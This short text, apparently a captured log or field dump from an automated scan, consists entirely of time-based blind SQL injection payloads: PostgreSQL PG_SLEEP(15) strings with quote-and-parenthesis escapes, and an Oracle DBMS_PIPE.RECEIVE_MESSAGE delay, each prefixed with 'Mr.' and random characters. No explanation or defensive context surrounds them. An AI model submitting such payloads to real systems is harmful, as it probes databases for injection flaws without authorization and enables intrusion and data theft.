MR.IXS6FBGW') OR 499=(SELECT 499 FROM PG_SLEEP(15))--  
  Mr.iXs6fbGw') OR 499=(SELECT 499 FROM PG_SLEEP(15))-- Mr.GlPxGbvE')) OR 276=(SELECT 276 FROM PG_SLEEP(15))-- Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'